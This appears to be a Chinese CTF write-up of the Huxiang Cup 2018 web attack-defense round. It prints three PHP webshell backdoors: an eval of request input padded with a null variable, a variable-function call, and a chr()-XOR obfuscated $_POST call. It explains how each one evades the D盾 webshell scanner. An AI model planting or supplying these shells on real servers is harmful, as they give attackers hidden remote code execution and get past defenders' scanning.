湖湘杯2018 WEB AD中的一个免杀shell

说明

今年湖湘杯赛制挺新颖的,就是运维和题目还有待吐槽,详见知乎上各位大佬的点评:P萌新这里只好总结一下web的AD情况

一句话打全场

首先登上去就能看到一个root权限的.shell.php,好像要循环删除才能删掉,但这个好像又会循环写入。。。所以拿着这个.shell.php一直请求全场就行了,,多试几次,可能之前被删后面又有了。这个可能是主办方自己想来管理网站的,结果忘删了?_?
还有就是交flag的地方会卡,我写了个自动交flag的脚本就不管了,结果后来才发现有很多次我都没交上去,少拿了很多分数。
当然更坑的是这里比赛80支队伍分了两个C段,172.16.0.xxx 172.16.1.xxx,我们只发现了1.xxx,,,少打了一半队伍。。。。

免杀的后门

赛后请教p0大佬,发现还有一个后门,但是我们直接拿D盾扫,却没有扫出来,赛后一看,原来是:


$a = $_REQUEST['a'];
$b = null;//这一行是关键,加了之后就杀不出来,删去后就能查出来
eval($b.$a.$b);//$b两边都要有,方可免杀
?>

还真是奇特,可能是D盾有零字节截断?_?,学到了,学到了。
之前有大佬报的if else绕过监测,现在也会被D盾报2级威胁。


$a = $_REQUEST[0];
if (true)
$b = $a;
else
$b = "";
if (true)
$c = $_REQUEST[1];
else
$c = "";
$c($b);    
?>

但那种亦或编码依然不会被D盾查出来,不过特征实在太过明显,手动搜^就行了[笑哭]

${(chr(63)^chr(96)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(44)^chr(64))]);

你可能感兴趣的:(CTF)